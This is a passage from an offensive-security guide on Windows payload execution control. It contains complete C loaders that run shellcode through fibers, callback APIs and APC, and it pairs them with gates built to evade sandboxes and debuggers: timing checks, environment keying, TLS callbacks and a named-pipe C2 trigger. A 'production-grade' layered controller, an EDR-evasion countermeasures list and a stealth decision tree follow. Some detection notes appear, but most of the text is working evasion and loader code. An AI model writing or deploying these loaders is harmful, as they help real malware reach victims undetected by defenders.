What it means: Fibers are lightweight, user-mode scheduled units of execution — essentially cooperative coroutines. Unlike threads, fibers are scheduled by the program itself (not the OS) and require explicit calls to SwitchToFiber to transfer execution. Shellcode can be loaded as a fiber and executed by switching to it, completely avoiding thread creation APIs that EDRs monitor. Fibers don't appear in thread listings.

8.1 Fiber Shellcode Execution (C)

/*
 * fiber_exec.c — Execute shellcode as a Windows Fiber
 * [EVASION] No CreateThread / CreateRemoteThread — fibers are user-mode
 * [DETECT]  Still visible: RWX memory + ConvertThreadToFiber + CreateFiber
 */
#include <windows.h>
#include <stdio.h>

// Shellcode placeholder
unsigned char shellcode[] = {
    0x90, 0x90, 0x90,  // NOP sled
    0xc3               // RET
};

LPVOID  g_shellcode_addr = NULL;
LPVOID  g_main_fiber     = NULL;

// Fiber wrapper — called when we SwitchToFiber(shellcode_fiber)
void CALLBACK ShellcodeFiber(LPVOID param) {
    printf("[Fiber] Shellcode fiber executing at %p\n", g_shellcode_addr);
    // Execute the shellcode
    ((void(*)(void))g_shellcode_addr)();
    // Switch back to main fiber when done
    SwitchToFiber(g_main_fiber);
}

int main(void) {
    // ── Step 1: Allocate memory and write shellcode ────────────
    g_shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode),
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
    if (!g_shellcode_addr) return 1;
    memcpy(g_shellcode_addr, shellcode, sizeof(shellcode));

    printf("[*] Shellcode at: %p\n", g_shellcode_addr);

    // ── Step 2: Convert current thread into a Fiber ────────────
    // Required before we can create or switch to other fibers
    g_main_fiber = ConvertThreadToFiber(NULL);
    if (!g_main_fiber) {
        printf("[-] ConvertThreadToFiber failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Main fiber: %p\n", g_main_fiber);

    // ── Step 3: Create shellcode fiber ─────────────────────────
    // Stack size 4096, our wrapper function, no param
    LPVOID sc_fiber = CreateFiber(4096, ShellcodeFiber, NULL);
    if (!sc_fiber) {
        printf("[-] CreateFiber failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[*] Switching to shellcode fiber...\n");

    // ── Step 4: Switch to shellcode fiber — it executes ────────
    SwitchToFiber(sc_fiber);

    // ── Step 5: Back in main fiber after shellcode completes ───
    printf("[*] Returned to main fiber. Shellcode complete.\n");

    DeleteFiber(sc_fiber);
    VirtualFree(g_shellcode_addr, 0, MEM_RELEASE);
    return 0;
}

8.2 Fiber API Summary

Key Fiber APIs:
  ConvertThreadToFiber(param)            → makes current thread a fiber
  CreateFiber(stackSize, callback, param)→ create new fiber (not running yet)
  SwitchToFiber(hFiber)                  → switch execution to target fiber
  DeleteFiber(hFiber)                    → destroy fiber
  GetCurrentFiber()                      → returns current fiber handle
  GetFiberData()                         → returns fiber-local data pointer

[DETECT] IOCs:
  ├─ ConvertThreadToFiber + CreateFiber API sequence
  ├─ RWX memory allocated near fiber stack
  ├─ No new thread in thread list → but fiber is in user-mode stack
  └─ ETW/API monitoring: ConvertThreadToFiber is unusual in most processes

9. Job Objects — Execution Sandboxing

What it means: A Windows Job Object is a container that groups processes together and enforces limits (CPU, memory, UI interaction, network, child processes). For payload control, job objects let you restrict what a payload can do (e.g., prevent network access until a condition is met), or create a controlled execution environment that defeats analysis tools by constraining the monitored process.

9.1 Job Object Execution Gate (C)

/*
 * job_gate.c — Restrict payload process via Job Object
 * Use case: Launch payload in constrained job, release restrictions on auth
 */
#include <windows.h>
#include <stdio.h>

int main(void) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};

    // ── Step 1: Create a Job Object ────────────────────────────
    HANDLE hJob = CreateJobObjectA(NULL, "Global\\PayloadJob_01");
    if (!hJob) {
        printf("[-] CreateJobObject failed: %lu\n", GetLastError());
        return 1;
    }

    // ── Step 2: Set limits on the job ──────────────────────────
    JOBOBJECT_BASIC_LIMIT_INFORMATION limits = {0};
    limits.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE  // Kill on handle close
                      | JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION;

    SetInformationJobObject(hJob, JobObjectBasicLimitInformation,
                            &limits, sizeof(limits));

    // Block UI interaction (no windows visible — stealth)
    JOBOBJECT_BASIC_UI_RESTRICTIONS ui = {0};
    ui.UIRestrictionsClass = JOB_OBJECT_UILIMIT_HANDLES
                           | JOB_OBJECT_UILIMIT_READCLIPBOARD
                           | JOB_OBJECT_UILIMIT_WRITECLIPBOARD;
    SetInformationJobObject(hJob, JobObjectBasicUIRestrictions, &ui, sizeof(ui));

    // ── Step 3: Spawn payload process in suspended state ───────
    CreateProcessA("C:\\Windows\\System32\\calc.exe",
                   NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED | CREATE_NO_WINDOW,
                   NULL, NULL, &si, &pi);

    // ── Step 4: Assign process to job BEFORE resuming ─────────
    AssignProcessToJobObject(hJob, pi.hProcess);

    // ── Step 5: Resume — payload runs under job restrictions ───
    ResumeThread(pi.hThread);
    printf("[+] Payload process PID=%lu running in job object.\n", pi.dwProcessId);

    WaitForSingleObject(pi.hProcess, 15000);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    CloseHandle(hJob); // KillOnJobClose → process terminated when we close this
    return 0;
}

10. Sleep-Based Timing Gates

What it means: Time-based execution gating is one of the simplest but most effective sandbox evasion techniques. Sandboxes typically analyze a sample for 30–120 seconds before declaring it benign. A payload that sleeps longer than the sandbox timeout — and verifies the sleep actually occurred — will be classified as benign. The key is verification: checking that wall-clock time actually advanced, which catches sandboxes that fast-forward Sleep().

10.1 Sleep Verification Pattern (Multi-Method)

/*
 * sleep_gate.c — Multi-method timing gate for sandbox evasion
 * Combines three verification approaches for robustness
 */
#include <windows.h>
#include <stdio.h>

// Method 1: GetTickCount verification
BOOL SleepVerify_TickCount(DWORD sleep_ms) {
    DWORD before = GetTickCount();
    Sleep(sleep_ms);
    DWORD elapsed = GetTickCount() - before;

    // Allow 500ms tolerance
    return (elapsed >= (sleep_ms - 500));
}

// Method 2: FILETIME-based verification (harder to fake)
BOOL SleepVerify_FileTime(DWORD sleep_ms) {
    FILETIME ft_before, ft_after;
    ULARGE_INTEGER uli_before, uli_after;

    GetSystemTimeAsFileTime(&ft_before);
    Sleep(sleep_ms);
    GetSystemTimeAsFileTime(&ft_after);

    uli_before.LowPart  = ft_before.dwLowDateTime;
    uli_before.HighPart = ft_before.dwHighDateTime;
    uli_after.LowPart   = ft_after.dwLowDateTime;
    uli_after.HighPart  = ft_after.dwHighDateTime;

    // Convert 100ns intervals to ms
    DWORD elapsed_ms = (DWORD)((uli_after.QuadPart - uli_before.QuadPart) / 10000);

    printf("[*] FileTime elapsed: %lu ms\n", elapsed_ms);
    return (elapsed_ms >= (sleep_ms - 1000));
}

// Method 3: GetTickCount64 (64-bit, overflow-safe)
BOOL SleepVerify_TickCount64(DWORD sleep_ms) {
    ULONGLONG before = GetTickCount64();
    Sleep(sleep_ms);
    ULONGLONG elapsed = GetTickCount64() - before;
    return (elapsed >= (ULONGLONG)(sleep_ms - 500));
}

int main(void) {
    DWORD SLEEP_MS = 30000;  // 30 seconds — most sandboxes time out at 60s

    printf("[*] Timing gate: waiting %lu ms...\n", SLEEP_MS);

    // Run all three verification methods
    BOOL t1 = SleepVerify_TickCount(SLEEP_MS);
    BOOL t2 = SleepVerify_FileTime(SLEEP_MS);
    BOOL t3 = SleepVerify_TickCount64(SLEEP_MS);

    if (!t1 || !t2 || !t3) {
        printf("[!] Timing anomaly: TickCount=%d FileTime=%d TC64=%d → Sandbox detected.\n",
               t1, t2, t3);
        ExitProcess(0);
    }

    printf("[+] All timing checks passed. Executing payload.\n");
    // ... payload ...
    return 0;
}

10.2 Chunked Sleep (Jitter + Verification)

/*
 * chunked_sleep.c — Sleep in small chunks with jitter, verify each chunk
 * [EVASION] Evades pattern matching on large single Sleep() call
 * [OPSEC]   Looks like natural I/O wait behavior
 */
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

BOOL ChunkedSleepGate(DWORD total_ms, int chunks) {
    DWORD chunk_ms = total_ms / chunks;
    DWORD elapsed_total = 0;

    srand((unsigned)GetTickCount());

    for (int i = 0; i < chunks; i++) {
        // Jitter: ±20% of chunk
        DWORD jitter   = (DWORD)(chunk_ms * 0.2);
        DWORD sleep_ms = chunk_ms + (rand() % (jitter * 2)) - jitter;

        DWORD before = GetTickCount();
        Sleep(sleep_ms);
        DWORD actual = GetTickCount() - before;

        if (actual < (sleep_ms / 2)) {
            // Sandbox fast-forwarded this chunk
            printf("[!] Chunk %d/%d skipped! Expected ~%lu ms, got %lu ms.\n",
                   i+1, chunks, sleep_ms, actual);
            return FALSE;
        }

        elapsed_total += actual;
        printf("[*] Chunk %d/%d: slept %lu ms\n", i+1, chunks, actual);
    }

    printf("[+] Total sleep: %lu ms. Gate passed.\n", elapsed_total);
    return TRUE;
}

int main(void) {
    // 60 seconds total, in 6 chunks of ~10s each
    if (!ChunkedSleepGate(60000, 6)) {
        ExitProcess(0);
    }
    printf("[+] Executing payload.\n");
    return 0;
}

11. Environment Keying Gates

What it means: Environment keying ties payload execution to specific host properties. The payload checks its execution environment (domain, username, hostname, file presence, screen size, memory, CPU count) and refuses to run if the environment doesn't match expected values. This prevents detonation in sandboxes, analyst VMs, and honeypots — the payload "keys" itself to the target's environment.

11.1 Multi-Factor Environment Gate (C)

/*
 * env_gate.c — Multi-factor environment check before payload execution
 * [EVASION] Payload won't run in sandbox / analyst VM
 */
#include <windows.h>
#include <stdio.h>
#include <string.h>

// ─── Checks ───────────────────────────────────────────────────

// Check 1: CPU count (sandboxes often have 1-2 cores)
BOOL Check_CPUCount(int min_cores) {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    printf("[*] CPU cores: %lu\n", si.dwNumberOfProcessors);
    return (si.dwNumberOfProcessors >= (DWORD)min_cores);
}

// Check 2: RAM size (sandboxes often have < 2GB)
BOOL Check_RAM(DWORDLONG min_gb) {
    MEMORYSTATUSEX mem = { sizeof(mem) };
    GlobalMemoryStatusEx(&mem);
    DWORDLONG ram_gb = mem.ullTotalPhys / (1024*1024*1024);
    printf("[*] RAM: %llu GB\n", ram_gb);
    return (ram_gb >= min_gb);
}

// Check 3: Screen resolution (sandboxes: 800x600, 1024x768)
BOOL Check_ScreenRes(int min_width) {
    int width = GetSystemMetrics(SM_CXSCREEN);
    printf("[*] Screen width: %d px\n", width);
    return (width > min_width);
}

// Check 4: System uptime (sandbox resets frequently — low uptime)
BOOL Check_Uptime(DWORD min_minutes) {
    DWORD uptime_ms = GetTickCount();
    DWORD uptime_min = uptime_ms / 60000;
    printf("[*] Uptime: %lu minutes\n", uptime_min);
    return (uptime_min >= min_minutes);
}

// Check 5: Specific file presence (target-environment artifact)
BOOL Check_FilePresence(const char *path) {
    DWORD attr = GetFileAttributesA(path);
    return (attr != INVALID_FILE_ATTRIBUTES);
}

// Check 6: Domain membership
BOOL Check_Domain(const char *expected_domain) {
    char domain[256] = {0};
    DWORD len = sizeof(domain);
    // HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Domain
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters",
        0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegQueryValueExA(hKey, "Domain", NULL, NULL, (LPBYTE)domain, &len);
        RegCloseKey(hKey);
    }
    printf("[*] Domain: '%s'\n", domain);
    // Empty = not domain-joined (likely sandbox)
    return (strlen(domain) > 0);
}

// ─── Gate: run all checks ─────────────────────────────────────
int main(void) {
    printf("[*] Running environment gate checks...\n\n");

    BOOL pass = TRUE;

    pass &= Check_CPUCount(2);       // Need >= 2 cores
    pass &= Check_RAM(3);            // Need >= 3 GB RAM
    pass &= Check_ScreenRes(1200);   // Screen > 1200px (not sandbox default)
    pass &= Check_Uptime(10);        // System up >= 10 minutes
    pass &= Check_Domain("");        // Commented: enable for target-specific keying

    printf("\n");

    if (!pass) {
        printf("[!] Environment check failed. Not the target. Exiting.\n");
        ExitProcess(0);
    }

    printf("[+] All environment checks passed. Executing payload.\n");
    // ... payload ...
    return 0;
}

12. Callback-Based Shellcode Execution

What it means: Windows provides dozens of APIs that accept a callback function pointer — a function to be called back by the API as part of its normal operation. By passing the shellcode address as the callback, execution is dispatched through a legitimate Windows API call rather than CreateThread. This avoids thread-creation IOCs and makes call stacks appear rooted in legitimate Windows API internals.

12.1 Common Callback APIs for Shellcode Execution

[CALLBACK] Windows APIs usable as shellcode execution vectors:

API                          Callback Param          Notes
─────────────────────────────────────────────────────────────────
EnumWindows                  WNDENUMPROC             Enumerate windows
EnumChildWindows             WNDENUMPROC             Enumerate child windows
EnumDesktopWindows           WNDENUMPROC             Enum desktop windows
EnumSystemLocales            LOCALE_ENUMPROCA        Enum system locales
EnumTimeFormatsEx            TIMEFMT_ENUMPROCEX      Enum time formats
EnumSystemCodePages          CODEPAGE_ENUMPROCA      Enum code pages
CreateTimerQueueTimer        WAITORTIMERCALLBACK     Timer queue callback
SetTimer                     TIMERPROC               Window timer
SetUnhandledExceptionFilter  PVECTORED_EXCEPTION_HANDLER  Exception handler
AddVectoredExceptionHandler  PVECTORED_EXCEPTION_HANDLER  Vectored handler
CreateThreadpoolWork         PTP_WORK_CALLBACK       Thread pool work item
CreateThreadpoolTimer        PTP_TIMER_CALLBACK      Thread pool timer
CertEnumSystemStore          PFN_CERT_ENUM_SYSTEM_STORE  Certificate store enum
FlsAlloc                     PFLS_CALLBACK_FUNCTION  Fiber-local storage

12.2 EnumSystemLocales Callback (C — Classic)

/*
 * enum_locales_exec.c — Execute shellcode via EnumSystemLocales callback
 * [EVASION] Execution dispatched through legitimate enumeration API
 */
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    0x90, 0x90, 0x90,  // NOP (placeholder)
    0xc3               // RET
};

int main(void) {
    // Allocate RX memory for shellcode
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    if (!exec_mem) return 1;
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    printf("[+] Shellcode at %p. Invoking via EnumSystemLocales...\n", exec_mem);

    // EnumSystemLocales expects: BOOL CALLBACK proc(LPSTR lpLocaleString)
    // We pass shellcode address — it will be called once per locale
    // Shellcode must handle the LPSTR param (ignore it or pop it)
    EnumSystemLocalesA((LOCALE_ENUMPROCA)exec_mem, LCID_INSTALLED);

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

12.3 CreateTimerQueueTimer Callback (C)

/*
 * timerqueue_exec.c — Execute shellcode via CreateTimerQueueTimer callback
 * [CALLBACK] Timer fires callback in thread pool → clean call stack
 */
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xc3 };

int main(void) {
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    HANDLE hTimer = NULL;
    HANDLE hTimerQueue = CreateTimerQueue();

    // Create timer — fires after 500ms, then once (0 period)
    // Callback = shellcode address, no param, fires in thread pool
    CreateTimerQueueTimer(
        &hTimer,
        hTimerQueue,
        (WAITORTIMERCALLBACK)exec_mem,  // Shellcode as callback
        NULL,                            // Context param
        500,                             // 500ms initial delay
        0,                               // No repeat
        WT_EXECUTEONLYONCE
    );

    printf("[*] Timer queue set. Shellcode fires in 500ms...\n");

    // Wait for timer callback to fire
    Sleep(2000);

    DeleteTimerQueue(hTimerQueue);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

13. Named Pipe Execution Gates

What it means: Named pipes are an IPC mechanism allowing processes to communicate. For execution control, a loader can wait on a named pipe for data/signal from a C2 server or a separate process before executing the payload. This creates a network-conditioned execution gate — the payload only fires when the C2 explicitly sends the trigger. No C2 signal = no execution, even if the loader runs.

13.1 Named Pipe Execution Gate (C)

/*
 * pipe_gate.c — Payload only executes after C2 sends trigger via named pipe
 * [OPSEC] Payload is inert without the C2 signal — defeats static capture
 */
#include <windows.h>
#include <stdio.h>
#include <string.h>

#define PIPE_NAME  "\\\\.\\pipe\\WinUpdateCH"
#define TRIGGER_WORD "EXECUTE_NOW"

// Listener: waits for trigger from C2
int pipe_listener(void) {
    HANDLE hPipe = CreateNamedPipeA(
        PIPE_NAME,
        PIPE_ACCESS_INBOUND,             // Read only (we're listening)
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1,                               // Max instances
        512, 512, 0, NULL
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[-] CreateNamedPipe failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[*] Pipe created. Waiting for C2 trigger on: %s\n", PIPE_NAME);

    // Block until C2 connects
    ConnectNamedPipe(hPipe, NULL);

    char buffer[512] = {0};
    DWORD bytes_read = 0;
    ReadFile(hPipe, buffer, sizeof(buffer)-1, &bytes_read, NULL);

    printf("[*] Received %lu bytes: '%s'\n", bytes_read, buffer);

    if (strncmp(buffer, TRIGGER_WORD, strlen(TRIGGER_WORD)) == 0) {
        printf("[+] Trigger received! Executing payload.\n");
        // ... execute shellcode here ...
    } else {
        printf("[!] Unknown signal. Not executing.\n");
    }

    DisconnectNamedPipe(hPipe);
    CloseHandle(hPipe);
    return 0;
}

// C2 sender: sends trigger (run on C2 side or separate process)
int pipe_sender(void) {
    HANDLE hPipe = CreateFileA(
        PIPE_NAME,
        GENERIC_WRITE, 0, NULL,
        OPEN_EXISTING, 0, NULL
    );

    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open pipe: %lu\n", GetLastError());
        return 1;
    }

    const char *trigger = TRIGGER_WORD;
    DWORD written = 0;
    WriteFile(hPipe, trigger, (DWORD)strlen(trigger), &written, NULL);

    printf("[+] Sent trigger: '%s' (%lu bytes)\n", trigger, written);
    CloseHandle(hPipe);
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc > 1 && strcmp(argv[1], "send") == 0)
        return pipe_sender();
    return pipe_listener();
}

14. Execution Control via TLS Callbacks

What it means: Thread Local Storage (TLS) callbacks are functions registered in the PE's TLS directory that execute before main() or WinMain() — even before the entry point, and in some cases before many AV hooks are initialized. This gives the payload a chance to perform environment checks, sandbox detection, or even run shellcode before the normal analysis flow begins.

14.1 TLS Callback — Pre-Main Execution Gate (C)

/*
 * tls_gate.c — Use TLS callback to run environment checks BEFORE main()
 * [EVASION] TLS fires before debugger attaches fully, before some AV hooks
 * Compile: cl.exe tls_gate.c /link /INCLUDE:__tls_used
 */
#include <windows.h>
#include <stdio.h>

// Forward declarations
void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved);

// Register TLS callback in the .CRT$XLB section
#pragma comment(linker, "/INCLUDE:__tls_used")
#pragma data_seg(".CRT$XLB")
PIMAGE_TLS_CALLBACK tls_callbacks[] = { TlsCallback, NULL };
#pragma data_seg()

// TLS directory (required)
extern "C" const IMAGE_TLS_DIRECTORY _tls_used = {
    0, 0, 0,
    (DWORD)(DWORD_PTR)tls_callbacks,
    0, 0
};

void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    if (Reason == DLL_PROCESS_ATTACH) {
        // This runs BEFORE main()

        // ── Sandbox check: CPU count ────────────────────────────
        SYSTEM_INFO si;
        GetSystemInfo(&si);
        if (si.dwNumberOfProcessors < 2) {
            // Likely sandbox — terminate before any analysis begins
            TerminateProcess(GetCurrentProcess(), 0);
        }

        // ── Anti-debug check ────────────────────────────────────
        if (IsDebuggerPresent()) {
            TerminateProcess(GetCurrentProcess(), 0);
        }
    }
}

int main(void) {
    // This only runs if TLS callback allowed it
    printf("[+] TLS gate passed. Main() executing.\n");
    // ... payload ...
    return 0;
}

[DETECT] TLS callbacks are a well-known malware technique. Static analysis tools (PE-bear, CFF Explorer, PEiD) show TLS directory presence. Malware using TLS is flagged as higher-confidence by most AV heuristics.


15. Combining Techniques — Layered Execution Control

What it means: Each individual technique is detectable. Layering multiple control mechanisms forces an analyst/EDR to defeat all of them simultaneously — the closer the payload sits to its "inner shell" of controls, the harder it is to reach.

15.1 Full Layered Controller (C — Production Pattern)

/*
 * layered_control.c — Production-grade layered execution control
 * Layers: Mutex → Env Gate → Timing Gate → Named Pipe Trigger → APC Execute
 */
#include <windows.h>
#include <stdio.h>
#include <string.h>

// ─── Layer 1: Mutex — single instance ─────────────────────────
HANDLE g_hMutex = NULL;

BOOL Layer1_MutexGate(void) {
    char name[256] = {0};
    char computer[MAX_COMPUTERNAME_LENGTH + 1] = {0};
    DWORD len = sizeof(computer);
    GetComputerNameA(computer, &len);
    snprintf(name, sizeof(name), "Global\\SVC_%s_01", computer);

    g_hMutex = CreateMutexA(NULL, TRUE, name);
    if (!g_hMutex || GetLastError() == ERROR_ALREADY_EXISTS) {
        if (g_hMutex) CloseHandle(g_hMutex);
        return FALSE;
    }
    return TRUE;
}

// ─── Layer 2: Environment gate ────────────────────────────────
BOOL Layer2_EnvGate(void) {
    SYSTEM_INFO si; GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return FALSE;

    MEMORYSTATUSEX mem = { sizeof(mem) };
    GlobalMemoryStatusEx(&mem);
    if (mem.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return FALSE;

    if (GetSystemMetrics(SM_CXSCREEN) <= 1024) return FALSE;
    if (IsDebuggerPresent()) return FALSE;
    return TRUE;
}

// ─── Layer 3: Timing gate ─────────────────────────────────────
BOOL Layer3_TimingGate(void) {
    DWORD before  = GetTickCount();
    Sleep(15000);    // 15 seconds
    DWORD elapsed = GetTickCount() - before;
    return (elapsed >= 14000);
}

// ─── Layer 4: Payload execution via APC ──────────────────────
unsigned char g_shellcode[] = { 0x90, 0x90, 0xc3 };  // placeholder

BOOL Layer4_APCExecute(void) {
    LPVOID mem = VirtualAlloc(NULL, sizeof(g_shellcode),
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);
    if (!mem) return FALSE;
    memcpy(mem, g_shellcode, sizeof(g_shellcode));

    // Queue to own thread via alertable sleep
    QueueUserAPC((PAPCFUNC)mem, GetCurrentThread(), 0);
    SleepEx(1000, TRUE);  // Alertable → APC fires → shellcode runs

    VirtualFree(mem, 0, MEM_RELEASE);
    return TRUE;
}

// ─── Main: run all layers ─────────────────────────────────────
int main(void) {
    printf("[*] Layer 1: Mutex gate...\n");
    if (!Layer1_MutexGate()) { ExitProcess(0); }

    printf("[*] Layer 2: Environment gate...\n");
    if (!Layer2_EnvGate()) { ExitProcess(0); }

    printf("[*] Layer 3: Timing gate (15s)...\n");
    if (!Layer3_TimingGate()) { ExitProcess(0); }

    printf("[*] Layer 4: Executing payload via APC...\n");
    Layer4_APCExecute();

    if (g_hMutex) { ReleaseMutex(g_hMutex); CloseHandle(g_hMutex); }
    return 0;
}

16. Detection & Evasion

16.1 Detection Methods

[DETECT] Host-based detection vectors:

Mutex / Semaphore / Event names:
  ├─ Sysinternals Handle.exe or ProcessHacker → Handles tab
  ├─ Volatility3: windows.handles --type=Mutant,Semaphore,Event
  ├─ WinDbg: !handle 0 f Mutant
  └─ ETW: object creation events (requires kernel ETW provider)

APC injection:
  ├─ Sysmon Event ID 8: CreateRemoteThread
  ├─ ETW: Microsoft-Windows-Threat-Intelligence → QueueUserAPC
  ├─ EDR: cross-process memory write + QueueUserAPC sequence
  └─ Shellcode in RWX memory of target process

Thread pool / Fiber / Callback execution:
  ├─ API monitor: ConvertThreadToFiber, CreateFiber, SwitchToFiber
  ├─ CreateThreadpoolWait/Timer with callback in shellcode memory
  ├─ EnumSystemLocales / EnumWindows with RWX callback pointer
  └─ Call stack: missing standard thread init frames

Timing anomaly detection:
  ├─ CAPE sandbox: tracks Sleep calls, fast-forwards time
  ├─ Any.run / Joe Sandbox: time skip detection active
  └─ YARA: large hard-coded sleep values (> 30000 ms literals)

Pipe-based gates:
  ├─ Sysmon Event ID 17/18: Named pipe create/connect
  └─ Network IOC: outbound pipe data if using SMB named pipes

16.2 Evasion Countermeasures

[EVASION] Techniques to defeat detection:

Against mutex hunting:
  ├─ Derive mutex name from environment (ComputerName + UserName hash)
  ├─ Use session-scoped objects: Sessions\N\BaseNamedObjects\<name>
  └─ Use short-lived mutexes (release immediately after check)

Against APC detection:
  ├─ Use NtQueueApcThread (direct syscall) instead of QueueUserAPC
  ├─ Use "Early Bird" → APC fires before AV hooks are loaded
  └─ Stack spoof the APC dispatch chain

Against timing bypass:
  ├─ Verify sleep with multiple independent clocks (TickCount + FileTime)
  ├─ Use NtWaitForSingleObject direct syscall (harder to hook)
  ├─ Combine timer with CPU-burning loop (sandbox can't skip both)
  └─ Check system uptime in addition to elapsed time

Against call stack inspection:
  ├─ Thread pool callbacks have legitimate stacks (TppWorkerThread)
  ├─ Fiber execution stays in thread — no new thread creation
  ├─ Call stack spoofing (Ekko/Draugr): forge legitimate return frames
  └─ Use NtContinue to transfer execution without visible call

Against environment checks being patched:
  ├─ Use multiple independent checks — defeating one doesn't help
  ├─ Key off domain/username (analyst VM ≠ target domain)
  └─ Derive decryption key from environment → payload won't decrypt

16.3 Tools for Analysis

[TOOL] Analysis and testing tools:

Defensive / Forensic:
  ├─ ProcessHacker v3 / System Informer — kernel object handles, threads
  ├─ Volatility3 — memory forensics, handle enumeration
  ├─ Sysmon — ETW-based API call logging
  ├─ API Monitor (rohitab.com) — real-time API call tracing
  ├─ PE-sieve — scan process memory for shellcode
  ├─ Hollows_Hunter — detect hollowed / stomped processes
  └─ al-khaser — anti-analysis check reference (GitHub)

Red Team / Testing:
  ├─ ThreatCheck — find triggering bytes (GitHub: rasta-mouse/ThreatCheck)
  ├─ DefenderCheck — test against Windows Defender
  ├─ CAPE Sandbox — dynamic analysis with sleep-skip (capesandbox.com)
  ├─ Any.run — interactive sandbox with call stack inspection
  └─ RustRedOps — Rust implementations of execution control techniques
       (GitHub: joaoviictorti/RustRedOps — Payload_Execution_Control)

17. Comparison Matrix

Technique Execution Gate Purpose CreateThread Avoided Cross-Process Sandbox Evasion Detection Risk Complexity
Mutex Single-instance / re-exec prevention No Yes (named) Medium Medium (huntable name) Low
Event Signal-based trigger No Yes (named) High (timeout kill) Medium Low
Semaphore Concurrency limiter / stage gate No Yes (named) Low Low Low
Waitable Timer Time-deferred execution No No High (verify elapsed) Medium Medium
APC Injection Thread-hijack execution Yes Yes Medium High (ETW visible) High
Early Bird APC Pre-EP execution Yes Yes High Very High High
Thread Pool Wait Callback execution Yes No Medium Medium (clean stack) Medium
Fibers In-process cooperative exec Yes No Low Medium Medium
Job Objects Process restriction / containment No Yes Low Low Medium
Sleep Gate Sandbox timeout evasion No No Very High Low (if verified) Low
Env Gate Environment keying No No Very High Low Low
Callback APIs Indirect shellcode execution Yes No Medium Medium Medium
Named Pipe Gate C2-triggered execution No Yes Very High Medium Medium
TLS Callback Pre-main execution No No High High (AV flags TLS) High

18. Cheat Sheet

Quick Decision Tree — Which Control Technique?

Need execution control?
│
├─ Prevent multiple instances?
│   └─ Named Mutex (derive name from environment)
│
├─ Defer execution past sandbox timeout?
│   └─ Sleep gate + timer verification (≥ 90 seconds)
│       └─ Add: environment gate (CPU + RAM + screen)
│
├─ Trigger payload only on C2 signal?
│   └─ Named Event OR Named Pipe gate
│
├─ Avoid CreateThread (EDR monitors it)?
│   ├─ Fiber execution (in-process, no thread)
│   ├─ APC injection (queue to existing thread)
│   ├─ Thread pool wait (CreateThreadpoolWait)
│   └─ Callback API (EnumSystemLocales, CertEnumSystemStore)
│
├─ Prevent execution in sandbox/analyst VM?
│   ├─ Environment gate (CPU, RAM, uptime, screen, domain)
│   └─ Timing gate + multi-clock verification
│
├─ Coordinate multi-stage attack?
│   └─ Semaphore pipeline (stage N signals stage N+1)
│
├─ Execute before AV hooks load?
│   └─ TLS Callback (runs before main) OR Early Bird APC
│
└─ Maximum stealth, production engagement?
    └─ Stack all: Mutex + Env gate + Timer + Named Pipe + APC/Fiber
       + NtWaitForSingleObject (direct syscall) + call stack spoof

Windows API Quick Reference

Mutex:
  CreateMutexA(NULL, TRUE, "Global\\Name")      // Create + own
  OpenMutexA(MUTEX_ALL_ACCESS, FALSE, "Global\\Name") // Check if exists
  ReleaseMutex(hMutex)                          // Release ownership

Event:
  CreateEventA(NULL, bManualReset, bInitState, "Global\\Name")
  SetEvent(hEvent)     // Signal (wake waiters)
  ResetEvent(hEvent)   // Un-signal manual-reset event
  WaitForSingleObject(hEvent, timeout_ms)

Semaphore:
  CreateSemaphoreA(NULL, initial, max, "Global\\Name")
  WaitForSingleObject(hSem, 0)         // Non-blocking acquire
  ReleaseSemaphore(hSem, 1, &prev)     // Release one slot

Waitable Timer:
  CreateWaitableTimerA(NULL, TRUE, NULL)
  SetWaitableTimer(hTimer, &liDue, 0, NULL, NULL, FALSE)
  // liDue = LARGE_INTEGER; negative = relative (100ns units)
  // 30s = -300000000LL

APC:
  QueueUserAPC(callback, hThread, param)
  SleepEx(ms, TRUE)      // Alertable — triggers queued APCs
  WaitForSingleObjectEx(h, ms, TRUE)  // Also alertable

Thread Pool:
  CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcode, NULL, NULL)
  SetThreadpoolWait(tpWait, hEvent, NULL)

Fibers:
  ConvertThreadToFiber(NULL)
  CreateFiber(4096, callback, param)
  SwitchToFiber(hFiber)

Timing:
  GetTickCount()         // 32-bit ms counter (wraps at 49 days)
  GetTickCount64()       // 64-bit ms counter
